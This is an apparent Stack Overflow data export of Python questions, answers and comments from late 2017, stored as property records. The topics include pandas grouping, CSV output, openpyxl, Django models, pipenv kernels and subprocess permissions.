tags question: http://stackoverflow.com/q/47376101
tags question: http://stackoverflow.com/q/47276761
tags question: http://stackoverflow.com/q/47250080
tags question: http://stackoverflow.com/q/47241525
tags question: http://stackoverflow.com/q/47253958
tags question: http://stackoverflow.com/q/47269418
tags question: http://stackoverflow.com/q/47324921
tags question: http://stackoverflow.com/q/47301484

http://stackoverflow.com/comment/81446406
type: Comment
has text: Split it first!
comment on: http://stackoverflow.com/q/47248142
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81464440
type: QuestionComment
comment on: http://stackoverflow.com/q/47256630
score: 0
type: Comment
has text: I came across that post. My takeaway from it was that if I type a script in the Python console it will keep track of the variables. I didn't find a way to run a django project using it, and I don't think it's possible.

http://stackoverflow.com/q/47368689
type: AnsweredQuestion
answer count: 3
possible better answer: http://stackoverflow.com/a/47368903
favorite count: 0
has comment: http://stackoverflow.com/comment/81689994
has comment: http://stackoverflow.com/comment/81689823
has answer: http://stackoverflow.com/a/47368903
has comment: http://stackoverflow.com/comment/81689794
type: Question
has answer: http://stackoverflow.com/a/47368907
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81689853
score: -3
has body: I have a nested list like this list = [[1,0,0], [1,0,1], [1,1,1]] Where each index of the first list represents a score of sum of 1's. For index 0 the score is 1, for index 1 the score is 2 and for index 3 the score is 3. In the nested list, each position of the index where there is a 1 represents an addition to the score. The addition in the score is equal to the score with the same position as where the 1 is found in the first of the 2 nested lists. If in the second of the nested lists the position of the 1 is in index position 0 and 2 like in index 1 in the first of the nested lists, the score increases by 1 + 3. What I am trying to do is write a single or nested loop that adds all the scores from simply the sum of scores, then add the additional scores. Something like for i, k in enumarate(list): score = sum(k) score += sum(k[i])
has comment: http://stackoverflow.com/comment/81689949
has comment: http://stackoverflow.com/comment/81689784
has title: Accessing index and item of list by enumarte in loop
accepted answer: http://stackoverflow.com/a/47369087
downvote count: 4
has answer: http://stackoverflow.com/a/47369087

http://stackoverflow.com/comment/81684421
comment on: http://stackoverflow.com/q/47365878
has text: Please read [how to make good reproducible pandas examples](http://stackoverflow.com/questions/20109391/how-to-make-good-reproducible-pandas-examples) and edit your post correspondingly. Use dates instead of strings in your input and output data sets
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47362530
downvote count: 0
answer count: 1
score: 6
favorite count: 0
accepted answer: http://stackoverflow.com/a/47362597
has title: Python Pandas group datetimes by hour and count row
type: Question
has answer: http://stackoverflow.com/a/47362597
tagged with: pandas
tagged with: datetime
tagged with: dataframe
tagged with: python
has body: This is my transaction dataframe, where each row mean a transaction : date station 30/10/2017 15:20 A 30/10/2017 15:45 A 31/10/2017 07:10 A 31/10/2017 07:25 B 31/10/2017 07:55 B I need to group the start_date to a hour interval and count each city, so the end result will be: date hour station count 30/10/2017 16:00 A 2 31/10/2017 08:00 A 1 31/10/2017 08:00 B 2 Where the first row means from 15:00 to 16:00 on 30/10/2017, there are 2 transactions in station A How to do this in Pandas? I tried this code, but the result is wrong : df_start_tmp = df_trip'Start Date', 'Start Station' times = pd.DatetimeIndex(df_start_tmp['Start Date']) df_start = df_start_tmp.groupby([times.hour, df_start_tmp['Start Station']]).count() Thanks a lot for the help
upvote count: 6
type: AnsweredQuestion

http://stackoverflow.com/a/47371113
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47370985
downvote count: 1
upvote count: 2
has comment: http://stackoverflow.com/comment/81695606
has body: First of all, your question is poorly worded and it is not clear what it is that you want to predict: Do you want to predict the rest of a sequence given its beginning? Or, given a bunch of a sequences, do you want to generate a sequence from scratch that is most likely? In any case, since you have examples of actual data sequences, they can be used as training samples, and thus you would be benefited more by supervised learning methods, as opposed to unsupervised learning methods. You can try to model your problem as such: Given a sequence of inputs X1, X2, ..., Xn, what is the most likely following element, Xn+1? This is an interesting, and challenging problem. Off the top my of head, it seems similar to word prediction in a paragraph, a problem tackled by word2Vec. However, I'm assuming the range of possible values for any given variable are smaller, so you might find this to be interesting - it is an introduction to sequence prediction with RNNs.

http://stackoverflow.com/comment/81480375
comment on: http://stackoverflow.com/q/47264754
score: 0
type: Comment
has text: 2 message might have same user, 1 for receiver and 1 for sender ? you want filter on sender or receiver ?
type: QuestionComment

http://stackoverflow.com/a/47288933
upvote count: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47288737
answers question: http://stackoverflow.com/q/47288737
score: 1
type: Answer
has body: The problem is probably the newline at the end of the filename. When you read the line in from the CSV, it's including the newline. There's a couple of ways you can handle this. You can simply strip the newline from the end like so. raw_name = url.rsplit('/', 1)[-1] name = raw_name.strip() # your code here Another way, with a terser functional style (thanks @fenceop) for url in map(str.strip, file): # your code here

http://stackoverflow.com/comment/81696557
has text: @MaxU: Yes, I was aware of that possibility but found it ugly. `df[column_name].iloc[position]` is much more intuitive. But seems that `df.loc[df.index[position], 'column_name']` is the only way to avoid the warning.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47371839
type: AnswerComment

http://stackoverflow.com/a/47345156
downvote count: 0
has comment: http://stackoverflow.com/comment/81647266
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47344552
has comment: http://stackoverflow.com/comment/81649240
answers question: http://stackoverflow.com/q/47344552
has comment: http://stackoverflow.com/comment/81645987
has comment: http://stackoverflow.com/comment/81648317
has body: You can try this code: dict1 = {'NTID': ('ID', 'CN')} dict2 = {'NTID': 'INCHI'} final_dict={} for key,value in dict1.items(): final_dict[key]=[value[0],value[1]] if key in dict2: final_dict[key].append(dict2.get(key)) print(final_dict) output: {'NTID': ['ID', 'CN', 'INCHI']} if you want result in tuple as you shown then: final_dict={} for key,value in dict1.items(): final_dict[key]=value if key in dict2: final_dict[key]+=(dict2.get(key),) print(final_dict) output: {'NTID': ('ID', 'CN', 'INCHI')} second you can use defaultdict: dict1 = {'NTID': ('ID', 'CN')} dict2 = {'NTID': 'INCHI'} from collections import defaultdict d=defaultdict(list) for item in (dict1,dict2): for key,value in item.items(): d[key].append(value) print(d) Updated as per question edit : dict_1={'1-4-HYDROXYPHENYL': [], '4-AMINO-BUTYRATE': [('24', 'gamma-aminobutyrate (GABA)'), ('172', 'alpha-ketoglutarate'), ('173', 'succinate'), ('399', 'Succinate semialdehyde'), ('111', 'putrescine'), ('114', '4-guanidinobutanoate'), ('115', '4-acetamidobutanoate')], 'ACETYLCHOLINE': [], 'ASN': [('1', 'glycine'), ('45', 'tyrosine'), ('74', 'leucine'), ('90', 'methionine'), ('80', 'valine')]} dict_2={'1-4-HYDROXYPHENYL': [], '4-AMINO-BUTYRATE': ['InChI=1S/C4H9NO2/c5-3-1-2-4(6)7/h1-3,5H2,(H,6,7)', 'InChI=1S/C5H6O5/c6-3(5(9)10)1-2-4(7)8/h1-2H2,(H,7,8)(H,9,10)/p-2', 'InChI=1S/C4H6O4/c5-3(6)1-2-4(7)8/h1-2H2,(H,5,6)(H,7,8)/p-2', 'InChI=1S/C4H6O3/c5-3-1-2-4(6)7/h3H,1-2H2,(H,6,7)/p-1', 'InChI=1S/C4H12N2/c5-3-1-2-4-6/h1-6H2/p+2', 'InChI=1S/C5H11N3O2/c6-5(7)8-3-1-2-4(9)10/h1-3H2,(H,9,10)(H4,6,7,8)', 'InChI=1S/C6H11NO3/c1-5(8)7-4-2-3-6(9)10/h2-4H2,1H3,(H,7,8)(H,9,10)/p-1'], 'ACETYLCHOLINE': [], 'ASN': ['InChI=1S/C9H11NO3', 'InChI=1S/C9H11NO2/c10-8', 'InChI=1S/C3H7NO2/c1-2(4)3(5)6', 'InChI=1S/C5H9NO2/c7-5(8)4-2-1-3', 'InChI=1S/C4H9NO3/c1-2(6)3', 'InChI=1S/C4H8N2O3/c5-2(4(8)', 'InChI=1S/C6H13NO2/c1-3-4(2)', 'InChI=1S/C6H9N3O2/c7-5(6(10)', 'InChI=1S/C4H7NO4/c5-2(4(8)9)', 'InChI=1S/C4H4O5/c5-2(4(8)9)1-', 'InChI=1S/C3H7NO2S/c4-2…
type: Answer

http://stackoverflow.com/a/57865548
has comment: http://stackoverflow.com/comment/129406635
score: 1
has body: output it will give df with for i in range(0,len(df)): dfnew = df.iloc[i : i + 42] i = i + 1 print(dfnew) 0 to 41 indices data 1 to 42 2 to 43 by skipping first entire row with limit 42 rows of data.
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47337328
type: Answer

http://stackoverflow.com/a/47239761
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47239444
has body: I don't understand why you want a CSV file instead of JSON, but here's how you can extract the dicts from each of the data lists and write them to CSV. To keep the example simple, I just write the output to sys.stdout instead of to a disk file. import json import csv import sys JSON = '''\ { "info": "SQLite Pro Result Set", "data": [ { "top40_SK": "118899", "song_title": "Sorry", "artist": "Justin Bieber", "year_released": "2015", "year": "2016", "week": "1", "position": "1", "prev_position": "1", "weeks_in_top40_v1": "10", "weeks_in_top40_v2": "10", "highest_reached_position": "1", "total_points": "775", "top40url": "https://www.top40.nl/top40/2016/week-1" }, { "top40_SK": "118900", "song_title": "Love yourself", "artist": "Justin Bieber", "year_released": "2015", "year": "2016", "week": "1", "position": "2", "prev_position": "2", "weeks_in_top40_v1": "6", "weeks_in_top40_v2": "6", "highest_reached_position": "1", "total_points": "764", "top40url": "https://www.top40.nl/top40/2016/week-1" } ] } ''' data = json.loads(JSON) keys = data["data"][0].keys() writer = csv.DictWriter(sys.stdout, fieldnames=keys) writer.writerow(dict(zip(keys, keys))) for d in data["data"]: writer.writerow(d) output top40_SK,song_title,artist,year_released,year,week,position,prev_position,weeks_in_top40_v1,weeks_in_top40_v2,highest_reached_position,total_points,top40url 118899,Sorry,Justin Bieber,2015,2016,1,1,1,10,10,1,775,https://www.top40.nl/top40/2016/week-1 118900,Love yourself,Justin Bieber,2015,2016,1,2,2,6,6,1,764,https://www.top40.nl/top40/2016/week-1
answers question: http://stackoverflow.com/q/47239444
type: Answer

http://stackoverflow.com/comment/139418414
type: Comment
comment on: http://stackoverflow.com/a/47249688
type: AnswerComment
has text: Live demo: https://sagecell.sagemath.org/?z=eJyFUcFugkAUvO9XTOKFKgoYWpVkrz21SdMr4UD1LV2Ft7qgTf%2D%2DeUBsPTTOcWfezHuzE7yUXBnnd2jpdCbeEipi8mXn%5FAJvr1i%2DW67UBM%5FeNfjsumObRVHblduDu5A3tftabF0TlVG6Wqabp%5FU6SuMk3TxulNqRQT3aBxxKwkOmAMA4DwvL8CVXFMQhauJAeMzBmCMZhYI9NCxmYMyQXF%2DtAbsOMpTbAs6Lfb4v%5FgwKRlqPLDT4hhcbaI3kdkzwbanua7lhqG7pP62Rjn4vljuGq%2D%2DsFCvVQGOlWjpBY4kpGkyRx4XydIFGXqi%2Dst5NeiM%2DN%5FJJFFzjmiEqvHZnTa%5FWGp4uGT48lYeeOHrLnRQXwg6rDSmyT5bNk0L9ABQ9jiQ=&lang=python
score: 0

http://stackoverflow.com/q/47256835
has title: How can I automatically update data in pyqtgraph?
answer count: 1
has comment: http://stackoverflow.com/comment/81675405
type: Question
linked to: http://stackoverflow.com/q/24670856
tagged with: python
tagged with: pyqtgraph
linked to: http://stackoverflow.com/q/47361222
has comment: http://stackoverflow.com/comment/81674886
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47257035
score: 0
accepted answer: http://stackoverflow.com/a/47257035
has body: I'm trying to plot candlesticks. I referred to this question and answer( The fastest way to add a new data bar with pyqtgraph ) I want my program to update and plot new candlesticks by receiving new values from a server, through calling update(). A problem that I have is that this example doesn't work without using QtCore.QTimer(). For example, if I manually call update() on the prompt or by apscheduler, candlesticks show no difference, but once I select the plot window, it shows new candlesticks at the same time. I don't understand why this happens. Could anyone try testing this and tell me how to fix this problem? import pyqtgraph as pg from pyqtgraph import QtCore, QtGui import random import numpy as np from apscheduler.schedulers.background import BackgroundScheduler class CandlestickItem(pg.GraphicsObject): def __init__(self): pg.GraphicsObject.__init__(self) self.flagHasData = False def set_data(self, data): self.data = data self.flagHasData = True self.generatePicture() self.informViewBoundsChanged() def generatePicture(self): self.picture = QtGui.QPicture() p = QtGui.QPainter(self.picture) p.setPen(pg.mkPen('w')) w = (self.data[1][0] - self.data[0][0]) / 3. for (t, open, close, min, max) in self.data: p.drawLine(QtCore.QPointF(t, min), QtCore.QPointF(t, max)) if open &gt; close: p.setBrush(pg.mkBrush('r')) else: p.setBrush(pg.mkBrush('g')) p.drawRect(QtCore.QRectF(t-w, open, w*2, close-open)) p.end() def paint(self, p, *args): if self.flagHasData: p.drawPicture(0, 0, self.picture) def boundingRect(self): return QtCore.QRectF(self.picture.boundingRect()) app = QtGui.QApplication([]) data = [ [1., 10, 13, 5, 15], [2., 13, 17, 9, 20], [3., 17, 14, 11, 23], [4., 14, 15, 5, 19], [5., 15, 9, 8, 22], [6., 9, 15, 8, 16], ] item = CandlestickItem() item.set_data(data) plt = pg.plot() plt.addItem(item) plt.setWindowTitle('pyqtgraph example: customGraphicsItem') def update(): global item, data data_len = len(data) rand = random.randint(0, len(data)-1) new_bar = data[ra…

http://stackoverflow.com/comment/81610917
has text: Don't tag both `python-3.x` and `python-2.7`. Tag the version you're **using**. This especially matters for questions involving `input()`.
type: QuestionComment
comment on: http://stackoverflow.com/q/47330092
score: 1
type: Comment

http://stackoverflow.com/a/47312081
has comment: http://stackoverflow.com/comment/81582855
accepted answer of: http://stackoverflow.com/q/47311994
downvote count: 0
has comment: http://stackoverflow.com/comment/81577443
answers question: http://stackoverflow.com/q/47311994
type: Answer
has comment: http://stackoverflow.com/comment/117502377
score: 12
upvote count: 12
type: AcceptedAnswer
has body: Edit: In latest version (3.0.6+) the api was changed to disable the user of the first option (internal_value property) and thus only the second option now works. (Thanks Akshat) You can either Use row[0].internal_value. Or Use data_only=True when you load your workbook. (For example, workbook = openpyxl.load_workbook("yourxlsx.xlsx", data_only=True)) The second option is good when you are sure you don't wish to ever get the original formula from the workbook.

http://stackoverflow.com/a/47281218
accepted answer of: http://stackoverflow.com/q/47281107
has comment: http://stackoverflow.com/comment/81513332
type: Answer
has comment: http://stackoverflow.com/comment/81516291
answers question: http://stackoverflow.com/q/47281107
has comment: http://stackoverflow.com/comment/81515609
upvote count: 2
score: 2
has body: If you want to create parent child relation in same table. There is no need to create two field, as used_in field is referencing the same object you are updating. UPDATE Suppose there are 4 objects of Part class. # first part &gt;&gt;&gt; part1 = Part.objects.create(name="car engine") # second part &gt;&gt;&gt; part2 = Part.objects.create(name="Spark plug") # third part &gt;&gt;&gt; part3 = Part.objects.create(name="Piston") # fourth part &gt;&gt;&gt; part4 = Part.objects.create(name="Piston rings") # mark part1 uses part2 and part3. &gt;&gt;&gt; part2.used_in = part1 &gt;&gt;&gt; part2.save() &gt;&gt;&gt; part3.used_in = part1 &gt;&gt;&gt; part3.save() # find parts used in part1. &gt;&gt;&gt; Part.objects.filter(used_in=part1) # find part3 is child of which part. &gt;&gt;&gt; part3.used_in # mark part3 uses part4 &gt;&gt;&gt; part4.used_in = part3 &gt;&gt;&gt; part4.save() # this means part1 uses part3 and part3 using part4 You can remove uses field and make use of just used_in field.
has comment: http://stackoverflow.com/comment/81513270
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81515713
has comment: http://stackoverflow.com/comment/81512779

http://stackoverflow.com/comment/81499807
type: Comment
has text: did u try using .format() Something like https://stackoverflow.com/questions/5082452/python-string-formatting-vs-format
score: 0
comment on: http://stackoverflow.com/q/47274240
type: QuestionComment

http://stackoverflow.com/comment/81553127
type: QuestionComment
has text: Not advisable to keep null=True for CharField and TextField.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47300986

http://stackoverflow.com/q/47362730
tagged with: python
has comment: http://stackoverflow.com/comment/81678487
type: Question
has comment: http://stackoverflow.com/comment/82048550
answer count: 0
has body: I have some Python + PYGobject code I've been using for years. Today it's having problems, and I don't know why. If I run it, it looks fine. But if I click a toggle button, the button doesn't look clicked. But if I continue clicking as though the button were correct, things function fine. Also, the scrollbars no longer look like they're doing anything, but in reality they are. That is, if I scroll down, and guess where a button should be, it works, but it doesn't look like any scrolling happened. This evening I tested this program on two Linux Mint 18.2 systems. One is running Cinnamon on a physical framebuffer, the other is running fvwm2 under VNC. Strangely, the one running Cinnamon has the problem, but the fvwm2 one works fine - despite them both using exactly the same Python code. The actual code can be found at http://stromberg.dnsalias.org/svn/hcm/trunk BTW, I checked out a much older version of the same program and tested that, and I still got the same problem - buttons don't look clicked but are, and scrolled areas don't look scrolled but are. Any suggestions? Thanks!
type: UnansweredQuestion
has title: Toggle buttons toggled, but do not -look- toggled
score: 0
tagged with: pygobject

http://stackoverflow.com/q/47314964
tagged with: sql
tagged with: postgresql-10
type: Question
tagged with: psql
type: UnansweredQuestion
answer count: 1
tagged with: python
has title: Show postgres group schema permissions
has answer: http://stackoverflow.com/a/47316924
has body: I've performed the following on a postgres instance: create group dev; grant select on all tables in schema public to dev; All I'm trying to do is query a view/table to find this grant. I've tried looking in views like information_schema.table_privileges but can't see it. Could someone please point me in the right direction? P.S. this needs to be a view to query as I'm running it from a python script, not psql. EDIT: PostgreSQL version 10.0
tagged with: postgresql
score: 0

http://stackoverflow.com/comment/81675205
type: Comment
score: 0
type: AnswerComment
has text: Where I see the problem is that my dictionary would not contain words like macdonald's or gugel - and therefore wouldn't be considered to be homophones, am I right? To build the dictionary I would need to know the possible homophones beforehand. It's different from autocorrection, because I want to go from Google to Gugel instead of Gugel to Google.
comment on: http://stackoverflow.com/a/47361011

http://stackoverflow.com/a/47382118
answers question: http://stackoverflow.com/q/47381344
has body: Figured it out guys, for future reference: Make sure you have EVERY package installed, glew, sdl2, gstream, etc. Then it will work :)
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47381344
type: Answer

http://stackoverflow.com/comment/81465626
comment on: http://stackoverflow.com/a/47257387
type: Comment
score: 0
type: AnswerComment
has text: Note that if `val` is immutable, then it's safe to do `[[val] * y for j in range(x)]`

http://stackoverflow.com/a/47367563
accepted answer of: http://stackoverflow.com/q/47367543
score: 2
has comment: http://stackoverflow.com/comment/81687847
has body: A comprehension instead of the next call (which only gets you the first match) will do: match = [l for l in cleaned_list if l['Schluesse'] == '980100'] for x in match: print(x)
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81687825
answers question: http://stackoverflow.com/q/47367543
has comment: http://stackoverflow.com/comment/81687627
type: Answer

http://stackoverflow.com/q/47238078
has answer: http://stackoverflow.com/a/59412206
tagged with: opengl
score: 1
has title: How to cancel OpenGL render by python In Blender
answer count: 1
tagged with: render
downvote count: 0
has comment: http://stackoverflow.com/comment/81441068
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81457230
tagged with: blender
has comment: http://stackoverflow.com/comment/81541560
has body: when I press Opengl Animation icon in Blender VSE it executes and if I press escape it interrupts. in code: bpy.ops.render.opengl(animation=True, sequencer=True) It works to start the animation render, but how to interrupt it using escape key? Should KeyboardInterrupt function be attached with it? Edit:: after some research: I have found modal can do this. But can't figure out how to code this.
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81512689

http://stackoverflow.com/q/47329168
possible better answer: http://stackoverflow.com/a/58148218
has answer: http://stackoverflow.com/a/58148218
has answer: http://stackoverflow.com/a/47329952
has title: Writing filenames from folder in CSV in Python
type: AnsweredQuestion
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/47329952
has body: I want to write the filenames of a particular folder in a CSV file( for the purpose of bulk uploading to the Internet Archive). The CSV must be written in the prescribed format. I have tried the following code : import os import csv path = '/media/sarada/Lectures &amp; Ebooks/Ebooks/03-Bengali Books/18.Darshan' with open('/home/sarada/ia_csv.csv', 'wb') as csvfile: writer = csv.writer(csvfile) writer.writerow(['identifier', 'file', 'description', 'subject[0]', 'title', 'creator', 'date', 'collection']) for dirpath, _, filenames in os.walk(path): if filenames: writer.writerow([os.path.basename(dirpath)] + filenames) Now the file names are being printed in a row, i.e they are covering the description, title, creator etc. fields. The issues: File names should be printed in the file column only. How to print only the file name(stripping the extension portion) in title column? How to add a string(e.g opensource) in writer.writerow([os.path.basename(dirpath)] + filenames) so that the creator column contains that string?
type: Question
tagged with: http://stackoverflow.com/tag/csv
tagged with: python

http://stackoverflow.com/comment/81520734
has text: Technically true, but a _very_ bad idea - cf pep08's section on star imports
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47282310
type: Comment

http://stackoverflow.com/comment/81708639
comment on: http://stackoverflow.com/q/47378183
score: 0
has text: I can't think of a way off the top of my head, but something else is that you should write `while True:` instead of `x = 1; while x == 1:`
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47224474
tagged with: cassandra-driver
type: AnsweredQuestion
score: 2
tagged with: cassandra
has comment: http://stackoverflow.com/comment/81399989
has answer: http://stackoverflow.com/a/47236031
has body: I am using the python Cassandra driver to query a database. This is the code that I ran: from cassandra.cluster import Cluster from cassandra.query import dict_factory ips = [...] cluster = Cluster(ips) session = cluster.connect() session.row_factory = dict_factory session.set_keyspace("mykeyspace") response = session.execute("SELECT * FROM myDB WHERE mykey = 'xyz';") In the output, I get weird 'n's in front of words, where newline characters used to be. Example: "Over the wintry nforest, winds howl in rage nwith no leaves to blow." Is there a way to solve this issue?
has comment: http://stackoverflow.com/comment/81398913
has comment: http://stackoverflow.com/comment/81417381
tagged with: python
has comment: http://stackoverflow.com/comment/81400282
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81413327
has comment: http://stackoverflow.com/comment/81401531
answer count: 1
has comment: http://stackoverflow.com/comment/81401315
has comment: http://stackoverflow.com/comment/81402195
downvote count: 0
has comment: http://stackoverflow.com/comment/81399884
has title: Remove newline characters from Cassandra query results
accepted answer: http://stackoverflow.com/a/47236031

http://stackoverflow.com/comment/81666871
score: 0
comment on: http://stackoverflow.com/q/47357073
type: Comment
type: QuestionComment
has text: Consider using map, here is an excellent link comparing efficiency https://stackoverflow.com/questions/42012339/using-replace-efficiently-in-pandas

http://stackoverflow.com/q/47376575
has title: Raspberry pi - database access
type: Question
has comment: http://stackoverflow.com/comment/81705357
tagged with: python
has comment: http://stackoverflow.com/comment/81705322
has body: I'm a novice at the backend. DB is MongoDB on mlab.com. A cli app runs on raspi when turned on. I'm supposed to come up with an app for raspi where-in user on entering an id, the id is to be authenticated by the app if ID is present in the DB. Pls see if my way is proper/correct me if I'm wrong. 1) Saving the DB credentials on raspi. When the user enters id, the python app checks if the id is already present in the DB. or 2) come up with a flask web app or etc that is sent the ID and the web app does the checking and returns respective data? Is it fine to save the db credentials in raspi?
tagged with: mongodb
tagged with: raspberry-pi
answer count: 0
has comment: http://stackoverflow.com/comment/81705296
score: 0
type: UnansweredQuestion
tagged with: raspberry-pi3

http://stackoverflow.com/comment/81566384
type: QuestionComment
has text: They have same size. They actually represent the same object and I will need them as a whole later on. My dataset is huge, actually I am trying to solve my issue with memory
score: 0
comment on: http://stackoverflow.com/q/47307968
type: Comment

http://stackoverflow.com/q/47249113
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has body: 6 and would like to know how to make a if statement that checks if theres any type of value in a variable. number = random if number (has a value in it) print ("Your variable has a number in it") elif number (doesn't have a value in it) print ("Please input a number in the variable") else: print ("unknown error, restarting") Thanks for any help i get with this problem.
downvote count: 5
tagged with: python
has answer: http://stackoverflow.com/a/47249192
has answer: http://stackoverflow.com/a/47249248
answer count: 2
score: -4
has comment: http://stackoverflow.com/comment/81448432
upvote count: 1
has title: if statement that sees if there is any value in a variable
favorite count: 0

http://stackoverflow.com/comment/81638935
has text: Yes the processes are running because the exception is internally handled by the app and its displaying a dialogbox
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47343331

http://stackoverflow.com/comment/81404117
comment on: http://stackoverflow.com/q/47223750
score: 0
has text: Your client is trying to receive three messages.... The server only sends one
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47276454
downvote count: 0
has comment: http://stackoverflow.com/comment/81504289
accepted answer of: http://stackoverflow.com/q/47276369
type: Answer
has comment: http://stackoverflow.com/comment/81504239
has body: The is undoubtedly a permissions issue. In order to be able to "directly" execute a file (a la "dot slash" - ./yourfile), the file in question needs the "execute bit" set. Try using ls -l to see the file you've just created with your script. I'll bet the file does not have the execute bit: $ ls -l ./step.sh -rw-r--r-- 1 furkan furkan 0 Nov 13 20:51 step.sh Note the lack of x in that first column. You might chmod to add the execute bit: $ chmod +x ./step.sh $ ls -l ./step.sh -rwxr-xr-x 1 furkan furkan 0 Nov 13 20:51 step.sh With the execute bit set, you could then use a "dot slash" construct. However, I doubt you want to execute chmod from within your script, so instead tell your script the actual program you want to run step.sh, namely, sh: shellscript=subprocess.Popen(['sh', './step1.sh'], stdin=subprocess.PIPE) Or in the simple case of your example, simply go directly to sudo: shellscript=subprocess.Popen(['sudo', 'yourexecutable'], stdin=subprocess.PIPE) Note that if you're being robust, I might consider adding some absolute paths, or ensuring your PATH variable is set. However the key to your problem is the misunderstanding of what 'executable' means.
score: 2
answers question: http://stackoverflow.com/q/47276369
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/81485306
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47267126
has text: so... where is your code?
type: QuestionComment

http://stackoverflow.com/a/47294202
type: AcceptedAnswer
has body: Agreed that there is no absolute convention for where settings should be stored. There's a lot of flexibility when it comes to project placement. Below are a few possibilities I might consider when deciding where to put my own settings. If your project might contains some sensitive parameters that you wouldn't want in version control, you could put them into your environment and then access them with environment variables. import os print os.environ['HOME'] If they're not sensitive at all, one possible route would be to do what Django does and create a settings.py file. Something like this # myproject/settings.py SOME_VALUE = 'SomeConfigurableValue' FOO = 'bar' PROJECT_RELATED_KEY = 'bestkeyever' # myproject/builder.py from myproject.settings import SOME_VALUE print(SOME_VALUE) You could even set up the project as a package and then do from . import settings print(settings.SOME_VALUE) For more info on setting up a project as a package, see: How to fix "Attempted relative import in non-package" even with __init__.py
answers question: http://stackoverflow.com/q/47294080
accepted answer of: http://stackoverflow.com/q/47294080
upvote count: 1
score: 1
type: Answer
downvote count: 0

http://stackoverflow.com/a/47296960
downvote count: 0
has comment: http://stackoverflow.com/comment/98149226
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/88554019
has comment: http://stackoverflow.com/comment/101059355
answers question: http://stackoverflow.com/q/47295871
type: Answer
has comment: http://stackoverflow.com/comment/89419328
upvote count: 206
has comment: http://stackoverflow.com/comment/100560504
score: 206
has comment: http://stackoverflow.com/comment/100490751
has comment: http://stackoverflow.com/comment/94428688
has body: Just tried the following with success. In your project folder: pipenv install ipykernel pipenv shell This will bring up a terminal in your virtualenv like this: (my-virtualenv-name) bash-4.4$ In that shell do: python -m ipykernel install --user --name=my-virtualenv-name Launch jupyter notebook: jupyter notebook In your notebook, Kernel -> Change Kernel. Your kernel should now be an option. Source: IPythonNotebookVirtualenvs
accepted answer of: http://stackoverflow.com/q/47295871
has comment: http://stackoverflow.com/comment/99920144

http://stackoverflow.com/comment/81516838
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47282591
has text: Try this: `return json.dumps({ 'functions' : func_names, 'pf_stats' : [round(pf_stat, 4) for pf_stat in pf_stats] })`
score: 0

http://stackoverflow.com/comment/81740928
score: 0
type: AnswerComment
has text: Yes, I'm not getting any errors. The only problem is that no change is happening in the database.
comment on: http://stackoverflow.com/a/47382444
type: Comment

http://stackoverflow.com/comment/81513158
comment on: http://stackoverflow.com/q/47281338
score: 1
has text: First you can use math to simplify all your use of the factorials with `n*(n-1)*(n-2)/6`. Although, most likely you want that number `3` there to be variable I guess. Also, `for` loops in python are slow, as are append operations. go and check `numpy` for better performance numerical manipulations
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47318458
score: 0
has comment: http://stackoverflow.com/comment/81626561
has body: There are already good regex answers. You can achieve your goal with str.split alone, though. It accepts an argument specifying the maximum number of splits: records = ["Aphis(Aphis)_asclepiadis", "Cinara_011", "Clydesmithia_canadensis_1a"] for record in records: left, right = record.split('_', 1) # Split no more than once. left = left.split('(')[0] # Remove anything after '(' print(' '.join([left, right])) # Aphis asclepiadis # Cinara 011 # Clydesmithia canadensis_1a By the way, you shouldn't call re.compile inside the loop. It's an expensive operation and the pattern doesn't change between records.
has comment: http://stackoverflow.com/comment/81626152
type: Answer
answers question: http://stackoverflow.com/q/47318128

http://stackoverflow.com/a/47268291
score: 10
upvote count: 10
accepted answer of: http://stackoverflow.com/q/47268107
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47268107
has comment: http://stackoverflow.com/comment/81487528
has comment: http://stackoverflow.com/comment/81487600
type: Answer
has body: assert is better used for debugging than left loafing around in production code. You can instead create properties for the vector attributes x, y and z, and raise ValueError when the passed values are not of the required type: class Vector3: def __init__(self, x=0.0, y=0.0, z=0.0): self.x = x self.y = y self.z = z @property def x(self): return self._x @x.setter def x(self, val): if not isinstance(val, (int, float)): raise TypeError('Inappropriate type: {} for x whereas a float \ or int is expected'.format(type(val))) self._x = float(val) ... Notice how isinstance also takes a tuple of types. In the __add__ operator, you'll want to raise TypeError also, including an appropriate message: def __add__(self, other): if not isinstance(other, Vector3): raise TypeError('Object of type Vector3 expected, \ however type {} was passed'.format(type(other))) ...

http://stackoverflow.com/comment/81609183
score: 0
comment on: http://stackoverflow.com/q/47325479
type: Comment
type: QuestionComment
has text: @jezrael Here is my exact excel. http://s000.tinyupload.com/index.php?file_id=01037884617592945704 . I will update the question to be more clear.

http://stackoverflow.com/q/47250797
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47251561
has answer: http://stackoverflow.com/a/47251561
